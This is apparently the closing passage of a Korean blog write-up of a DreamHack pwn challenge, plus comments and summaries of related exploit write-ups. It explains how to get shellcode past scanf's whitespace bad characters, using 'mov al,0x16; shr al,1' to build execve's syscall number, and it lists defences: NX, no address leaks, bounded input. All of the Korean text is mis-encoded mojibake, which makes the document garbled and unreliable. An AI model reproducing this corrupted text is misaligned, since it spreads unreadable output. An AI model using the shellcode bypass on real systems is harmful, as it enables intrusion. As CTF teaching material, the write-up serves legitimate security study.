์˜คํ”„์…‹๋„ ๋งž๊ณ  ํ๋ฆ„ ํƒˆ์ทจ๋„ ๋˜๋Š”๋ฐ ์…ธ์ฝ”๋“œ๋งŒ ์•ˆ ํ„ฐ์งˆ ๋•Œ, ์ž…๋ ฅ ํ•จ์ˆ˜๊ฐ€ ์…ธ์ฝ”๋“œ๋ฅผ ์–ด๋–ป๊ฒŒ ๋ฐ›์•„๋“ค์ด๋Š”์ง€๋ฅผ ์˜์‹ฌํ•ด์•ผ ํ•œ๋‹ค. scanf("%s") ๋Š” ๊ณต๋ฐฑ์—์„œ ๋ฉˆ์ถ”๊ณ , ๊ทธ ๊ณต๋ฐฑ์€ ์ŠคํŽ˜์ด์Šค๋งŒ์ด ์•„๋‹ˆ๋ผ 0x09~0x0d ๊นŒ์ง€๋‹ค. ํ•˜ํ•„ execve์˜ ์‹œ์Šคํ…œ์ฝœ ๋ฒˆํ˜ธ 0x0b ๊ฐ€ ๊ทธ ์•ˆ์— ์žˆ์–ด์„œ, ๊ต๊ณผ์„œ ์…ธ์ฝ”๋“œ๊ฐ€ ์‹œ์Šคํ…œ์ฝœ ์ง์ „์— ์ž˜๋ ธ๋‹ค.

๊ฐ’์„ ๋ฐ”์ดํŠธ๋กœ ์ง์ ‘ ์“ฐ์ง€ ์•Š๊ณ  ์—ฐ์‚ฐ์œผ๋กœ ๋งŒ๋“ค์–ด ๋‚ด๋Š” ๊ฑด ์…ธ์ฝ”๋“œ ์ž‘์„ฑ์˜ ๊ธฐ๋ณธ๊ธฐ๋‹ค. mov al,0x16; shr al,1 ํ•œ ์ค„๋กœ ๊ธˆ์ง€ ๋ฐ”์ดํŠธ๋ฅผ ํ”ผํ–ˆ๋‹ค. ๊ฐ™์€ ๋ฐœ์ƒ์œผ๋กœ xor, add, sub, shl ๋“ฑ์„ ์กฐํ•ฉํ•˜๋ฉด ๊ฑฐ์˜ ๋ชจ๋“  ๋ฐฐ๋“œ์บ๋ฆญํ„ฐ๋ฅผ ์šฐํšŒํ•  ์ˆ˜ ์žˆ๋‹ค.

๋ฐฉ์–ด ๊ด€์ ์—์„œ ๋ณด๋ฉด ์ด ๋ฐ”์ด๋„ˆ๋ฆฌ๋Š” ๋ง‰์„ ์ˆ˜ ์žˆ๋Š” ๊ฑธ ๊ฑฐ์˜ ๋‹ค ํ’€์–ด ๋†จ๋‹ค.

  • NX๋ฅผ ์ผœ๋ผ. ์Šคํƒ์ด ์‹คํ–‰ ๋ถˆ๊ฐ€์˜€๋‹ค๋ฉด ์…ธ์ฝ”๋“œ๋ฅผ ์˜ฌ๋ ค๋„ ๋ชป ๋›ด๋‹ค(๊ทธ๋Ÿฌ๋ฉด ROP๋กœ ํ•œ ๋‹จ๊ณ„ ๋” ๊ฐ€์•ผ ํ•œ๋‹ค).

  • ์ฃผ์†Œ๋ฅผ ๋ˆ„์ถœํ•˜์ง€ ๋งˆ๋ผ. printf("buf = (%p)") ์ฒ˜๋Ÿผ ์Šคํƒ/ํž™ ์ฃผ์†Œ๋ฅผ ์ถœ๋ ฅํ•˜๋ฉด ASLR์ด ๋ฌด๋ ฅํ™”๋œ๋‹ค. ๋””๋ฒ„๊ทธ ์ถœ๋ ฅ์€ ๋ฐฐํฌ ์ „์— ์ง€์šด๋‹ค.

  • ์ž…๋ ฅ ๊ธธ์ด๋ฅผ ๋ฒ„ํผ ํฌ๊ธฐ์— ๋งž์ถฐ๋ผ. scanf("%141s", buf) ์—์„œ 141์€ buf[0x80]=128 ๋ณด๋‹ค ํฌ๋‹ค. ๊ฒฝ๊ณ„ ๊ฒ€์‚ฌ ์—†๋Š” ์ž…๋ ฅ ํ•œ ์ค„์ด ์ „๋ถ€๋ฅผ ๋‚ด์คฌ๋‹ค.

๊ธฐ๋ณธ ๋ฌธ์ œ์ง€๋งŒ "์…ธ์ฝ”๋“œ๊ฐ€ ์ž…๋ ฅ ํ•จ์ˆ˜๋ฅผ ํ†ต๊ณผํ•˜๋Š”๊ฐ€"๋ผ๋Š”, ์‹ค์ „์—์„œ ๊ณ„์† ๋งˆ์ฃผ์น˜๋Š” ์งˆ๋ฌธ์„ ์งš๊ฒŒ ํ•ด ์ค€๋‹ค.

์ด ๊ธ€์ด ๋„์›€์ด ๋๋‚˜์š”?

Comments

๋Œ“๊ธ€

0๊ฐœ

๋Œ“๊ธ€์„ ๋‚จ๊ธฐ๋ ค๋ฉด ๋กœ๊ทธ์ธ์ด ํ•„์š”ํ•ด์š”. (๋„ค์ด๋ฒ„ ยท ๊ตฌ๊ธ€ ๊ณ„์ •)

๋Œ“๊ธ€ ๋ถˆ๋Ÿฌ์˜ค๋Š” ์ค‘โ€ฆ

Related

๊ด€๋ จ ๊ธ€

3๊ฐœ
[๐Ÿฅ‰ Bronze 3] ์นด๋‚˜๋ฆฌ ํ˜๋ ค๋ณด๊ณ  ์Šคํƒ์— ์…ธ์ฝ”๋“œ ์‹ฌ๊ธฐ โ€” DreamHack Return to Shellcode ํ’€์ด
blog

[๐Ÿฅ‰ Bronze 3] ์นด๋‚˜๋ฆฌ ํ˜๋ ค๋ณด๊ณ  ์Šคํƒ์— ์…ธ์ฝ”๋“œ ์‹ฌ๊ธฐ โ€” DreamHack Return to Shellcode ํ’€์ด

NX ๊ฐ€ ๊บผ์ ธ(์Šคํƒ RWX) ์žˆ์ง€๋งŒ ์Šคํƒ ์นด๋‚˜๋ฆฌ๊ฐ€ ์ผœ์ง„ BOF ๋ฌธ์ œ. read ๋’ค์˜ printf("%s") ๊ฐ€ ์นด๋‚˜๋ฆฌ์˜ LSB(\x00) ๋ฅผ ๋ฎ์œผ๋ฉด ์ƒ์œ„ 7๋ฐ”์ดํŠธ๋ฅผ ํ˜๋ ค์ฃผ๊ณ , ๊ทธ๊ฑธ๋กœ ์นด๋‚˜๋ฆฌ๋ฅผ ๋ณต์›ํ•œ๋‹ค. ๊ทธ๋‹ค์Œ gets() ๋ฌด์ œํ•œ ์˜ค๋ฒ„ํ”Œ๋กœ์šฐ๋กœ ์Šคํƒ์— ์…ธ์ฝ”๋“œ๋ฅผ ์˜ฌ๋ฆฌ๊ณ  ์นด๋‚˜๋ฆฌ๋ฅผ ๊ทธ๋Œ€๋กœ ์ฑ„์šด ๋’ค ๋ฐ˜ํ™˜ ์ฃผ์†Œ๋ฅผ buf ๋กœ ๋Œ๋ ค ret2shellcode ๋กœ ์…ธ์„ ๋„์šด๋‹ค.
#dreamhack#ctf#pwn+6
2026-06-26#dreamhack +6
[๐Ÿฅ‰ Bronze 2] pop rdi ๊ฐ€์ ฏ์ด ์—†์„ ๋•Œ โ€” DreamHack basic_rop_x64 ret2csu ํ’€์ด
blog

[๐Ÿฅ‰ Bronze 2] pop rdi ๊ฐ€์ ฏ์ด ์—†์„ ๋•Œ โ€” DreamHack basic_rop_x64 ret2csu ํ’€์ด

canary ์—†๋Š” ์Šคํƒ BOF์— NX๋งŒ ์ผœ์ง„ 64๋น„ํŠธ ๋ฐ”์ด๋„ˆ๋ฆฌ. ๋ช…์‹œ์ ์ธ pop rdi;ret ๊ฐ€์ ฏ์ด ์—†์–ด์„œ __libc_csu_init ์˜ ๋ ˆ์ง€์Šคํ„ฐ ์„ธํŒ… ๋ฃจํ‹ด(ret2csu)์œผ๋กœ write(1, &GOT[read], 8)์„ ํ˜ธ์ถœํ•ด libc๋ฅผ leakํ•˜๊ณ , "pop r15" ๋ช…๋ น ํ•œ๊ฐ€์šด๋ฐ ์ˆจ์–ด ์žˆ๋Š” pop rdi;ret๋กœ system("/bin/sh")๊นŒ์ง€ ์ž‡๋Š”๋‹ค.
#dreamhack#ctf#pwn+6
2026-07-02#dreamhack +5
[๐Ÿฅ‰ Bronze 4] 80๋ฐ”์ดํŠธ ๋ฒ„ํผ์— 128๋ฐ”์ดํŠธ๋ฅผ ์ฑ„์›Œ tmp_fd๋ฅผ ํ›”์นœ๋‹ค โ€” DreamHack awesome-basics ํ’€์ด
blog

[๐Ÿฅ‰ Bronze 4] 80๋ฐ”์ดํŠธ ๋ฒ„ํผ์— 128๋ฐ”์ดํŠธ๋ฅผ ์ฑ„์›Œ tmp_fd๋ฅผ ํ›”์นœ๋‹ค โ€” DreamHack awesome-basics ํ’€์ด

chall.c ๋Š” flag ๋ฅผ ์ฝ์–ด ์ง€์—ญ๋ณ€์ˆ˜ tmp_fd ๊ฐ€ ๊ฐ€๋ฆฌํ‚ค๋Š” ํŒŒ์ผ์— ์“ฐ๊ธฐ๋งŒ ํ•  ๋ฟ, ๊ทธ ๊ฒฐ๊ณผ๋ฅผ ์šฐ๋ฆฌ์—๊ฒŒ ๋ณด์—ฌ์ฃผ๋Š” ์ฝ”๋“œ๊ฐ€ ์—†๋‹ค. ๊ทธ๋Ÿฐ๋ฐ ๋ฐ”๋กœ ์œ„์—์„œ read(stdin, buf, 0x80) ์ด buf[80] ๋ณด๋‹ค 48๋ฐ”์ดํŠธ ๋” ๋ฐ›๋Š”๋‹ค. ์ด ์—ฌ์œ ๋ถ„์œผ๋กœ buf ๋ฐ”๋กœ ๋’ค์— ๋ถ™์–ด ์žˆ๋Š” tmp_fd ๋ฅผ ํ‘œ์ค€์ถœ๋ ฅ(1)์œผ๋กœ ๋ฎ์œผ๋ฉด, ๋’ค์ด์€ write(tmp_fd, flag, 0x45) ๊ฐ€ ๊ทธ๋Œ€๋กœ ์šฐ๋ฆฌ ํ™”๋ฉด์— flag ๋ฅผ ์ฐ์–ด์ค€๋‹ค.
#dreamhack#ctf#pwn+4
2026-07-20#dreamhack +5